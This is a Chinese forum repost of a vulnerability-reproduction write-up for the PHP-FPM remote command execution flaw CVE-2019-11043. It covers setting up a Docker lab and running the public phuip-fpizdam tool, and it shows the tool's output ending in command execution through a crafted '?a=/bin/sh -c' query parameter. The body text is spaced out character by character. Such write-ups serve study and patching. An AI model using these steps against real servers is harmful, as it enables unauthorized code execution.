搜索

[28275] 2020-04-28_PHP-FPM远程命令执行（CVE-2019-11043）

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-19
2020-04-28_PHP-FPM远程命令执行（CVE-2019-11043） P H P - F P M 远 程 命 令 执 行 （ C V E - 2 0 1 9 - 1 1 0 4 3 ） 青 春   O t s 安 全   2 0 2 0 - 0 4 - 2 8 在 长 亭 科 技 举 办 的   R e a l   W o r l d   C T F   中 ， 国 外 安 全 研 究 员   A n d r e w   D a n a u   在 解 决 一 道   C T F   题 目 时 发 现 ， 向 目 标 服 务 器   U R L   发 送 % 0 a   符 号 时 ， 服 务 返 回 异 常 ， 疑 似 存 在 漏 洞 。 在 使 用 一 些 有 错 误 的 N g i n x 配 置 的 情 况 下 ， 通 过 恶 意 构 造 的 数 据 包 ， 即 可 让 P H P - F P M 执 行 任 意 代 码 。 参 考 链 接 ： 漏 洞 环 境 漏 洞 环 境 执 行 如 下 命 令 启 动 有 漏 洞 的 N g i n x 和 P H P ： d o c k e r - c o m p o s e   u p   - d 环 境 启 动 后 ， 访 问 h t t p : / / y o u r - i p : 8 0 8 0 / i n d e x . p h p 即 可 查 看 到 一 个 默 认 页 面 。 漏 洞 复 现 漏 洞 复 现 使 用 h t t p s : / / g i t h u b . c o m / n e e x / p h u i p - f p i z d a m 中 给 出 的 工 具 ， 发 送 数 据 包 ： 可 见 ， 这 里 已 经 执 行 成 功 。 我 们 访 问 h t t p : / / y o u r - i p : 8 0 8 0 / i n d e x . p h p ? a = i d ， 即 可 查 看 到 命 令 已 成 功 执 行 ： 注 意 ， 因 为 p h p - f p m 会 启 动 多 个 子 进 程 ， 在 访 问 / i n d e x . p h p ? a = i d 时 需 要 多 访 问 几 次 ， 以 访 问 到 被 污 染 的 进 程 。 h t t p s : / / b u g s . p h p . n e t / b u g . p h p ? i d = 7 8 5 9 9 h t t p s : / / l a b . w a l l a r m . c o m / p h p - r e m o t e - c o d e - e x e c u t i o n - 0 - d a y - d i s c o v e r e d - i n - r e a l - w o r l d - c t f - e x e r c i s e / h t t p s : / / g i t h u b . c o m / n e e x / p h u i p - f p i z d a m $   g o   r u n   .   " h t t p : / / y o u r - i p : 8 0 8 0 / i n d e x . p h p " 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 0   B a s e   s t a t u s   c o d e   i s   2 0 0 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 0   S t a t u s   c o d e   5 0 2   f o r   q s l = 1 7 9 5 ,   a d d i n g   a s   a   c a n d i d a t e 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 0   T h e   t a r g e t   i s   p r o b a b l y   v u l n e r a b l e .   P o s s i b l e   Q S L s :   [ 1 7 8 5   1 7 9 0   1 7 9 5 ] 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   A t t a c k   p a r a m s   f o u n d :   - - q s l   1 7 9 0   - - p i s o s   1 5 2   - - s k i p - d e t e c t 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   T r y i n g   t o   s e t   " s e s s i o n . a u t o _ s t a r t = 0 " . . . 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   D e t e c t ( )   r e t u r n e d   a t t a c k   p a r a m s :   - - q s l   1 7 9 0   - - p i s o s   1 5 2   - - s k i p - d e t e c t   < - -   R E M E M B E R   T H I S 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   P e r f o r m i n g   a t t a c k   u s i n g   p h p . i n i   s e t t i n g s . . . 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   S u c c e s s !   W a s   a b l e   t o   e x e c u t e   a   c o m m a n d   b y   a p p e n d i n g   " ? a = / b i n / s h + - c + ' w h i c h + w h i c h ' & "   t o   U R L s 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   T r y i n g   t o   c l e a n u p   / t m p / a . . . 2 0 1 9 / 1 0 / 2 3   1 9 : 4 1 : 0 2   D o n e !

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理